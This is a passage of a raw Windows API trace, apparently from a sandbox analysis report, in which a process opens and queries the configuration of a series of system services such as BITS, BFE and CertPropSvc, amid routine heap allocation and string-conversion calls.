lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99918 [0031.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d998d0 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99918) returned 1 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d998d0) returned 1 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d998d0 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fb60 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fbe8 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fc70 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fcf8 [0031.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99918 [0031.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1d99918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99960 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99918) returned 1 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99960) returned 1 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fcf8) returned 1 [0031.816] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AxInstSV", dwDesiredAccess=0x1) returned 0x2d3790 [0031.816] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0031.816] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.816] GetLastError () returned 0x7a [0031.816] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x128, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.816] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fcf8 [0031.816] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fd80 [0031.816] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fcf8) returned 1 [0031.816] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fd80) returned 1 [0031.816] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fd80 [0031.816] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fcf8 [0031.816] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fd80) returned 1 [0031.816] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fcf8) returned 1 [0031.816] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fcf8 [0031.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.816] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99960 [0031.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99918 [0031.817] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99960) returned 1 [0031.817] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99918) returned 1 [0031.817] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fcf8) returned 1 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99918 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fcf8 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fd80 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93118 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d931a0 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93228 [0031.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99960 [0031.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1d99960, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0031.817] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999a8 [0031.817] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99960) returned 1 [0031.817] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999a8) returned 1 [0031.817] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93228) returned 1 [0031.817] OpenServiceW (hSCManager=0x2d3600, lpServiceName="BDESVC", dwDesiredAccess=0x1) returned 0x2d36f0 [0031.817] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0031.817] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.818] GetLastError () returned 0x7a [0031.818] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x11e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93228 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d932b0 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93228) returned 1 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d932b0) returned 1 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d932b0 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93228 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d932b0) returned 1 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93228) returned 1 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93228 [0031.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999a8 [0031.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d999a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99960 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999a8) returned 1 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99960) returned 1 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93228) returned 1 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99960 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93228 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d932b0 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93338 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d933c0 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93448 [0031.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999a8 [0031.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1d999a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0031.818] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999f0 [0031.818] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999a8) returned 1 [0031.819] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999f0) returned 1 [0031.819] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93448) returned 1 [0031.819] OpenServiceW (hSCManager=0x2d3600, lpServiceName="BFE", dwDesiredAccess=0x1) returned 0x2d37e0 [0031.819] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0031.819] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.819] GetLastError () returned 0x7a [0031.819] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.819] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93448 [0031.819] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d934d0 [0031.819] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93448) returned 1 [0031.819] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d934d0) returned 1 [0031.819] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d934d0 [0031.819] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93448 [0031.819] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d934d0) returned 1 [0031.819] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93448) returned 1 [0031.819] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93448 [0031.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999f0 [0031.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d999f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999a8 [0031.820] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999f0) returned 1 [0031.820] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999a8) returned 1 [0031.820] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93448) returned 1 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999a8 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93448 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d934d0 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93558 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d935e0 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93668 [0031.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999f0 [0031.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1d999f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0031.820] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99a38 [0031.820] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999f0) returned 1 [0031.820] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99a38) returned 1 [0031.820] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93668) returned 1 [0031.820] OpenServiceW (hSCManager=0x2d3600, lpServiceName="BITS", dwDesiredAccess=0x1) returned 0x2d36c8 [0031.820] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0031.820] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.821] GetLastError () returned 0x7a [0031.821] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x14a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93668 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d936f0 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93668) returned 1 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d936f0) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d936f0 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93668 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d936f0) returned 1 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93668) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93668 [0031.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99a38 [0031.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99a38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999f0 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99a38) returned 1 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d999f0) returned 1 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93668) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d999f0 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93668 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d936f0 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93778 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93800 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93888 [0031.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99a38 [0031.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1d99a38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0031.821] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99a80 [0031.821] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99a38) returned 1 [0031.822] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99a80) returned 1 [0031.822] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93888) returned 1 [0031.822] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Browser", dwDesiredAccess=0x1) returned 0x2d3790 [0031.822] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0031.822] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.822] GetLastError () returned 0x7a [0031.822] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.822] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93888 [0031.822] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93910 [0031.822] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93888) returned 1 [0031.822] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93910) returned 1 [0031.822] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93910 [0031.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1d99a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0031.823] OpenServiceW (hSCManager=0x2d3600, lpServiceName="bthserv", dwDesiredAccess=0x1) returned 0x2d36f0 [0031.823] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0031.823] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.823] GetLastError () returned 0x7a [0031.823] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x132, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99ac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1d99ac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0031.823] OpenServiceW (hSCManager=0x2d3600, lpServiceName="CertPropSvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0031.824] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0031.824] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.824] GetLastError () returned 0x7a [0031.824] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x112, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99b10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0031.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1d99b10, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0031.824] OpenServiceW (hSCManager=0x2d3600, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x1) returned 0x2d36c8 [0031.824] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0031.824] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.825] GetLastError () returned 0x7a [0031.825] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1d99b58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 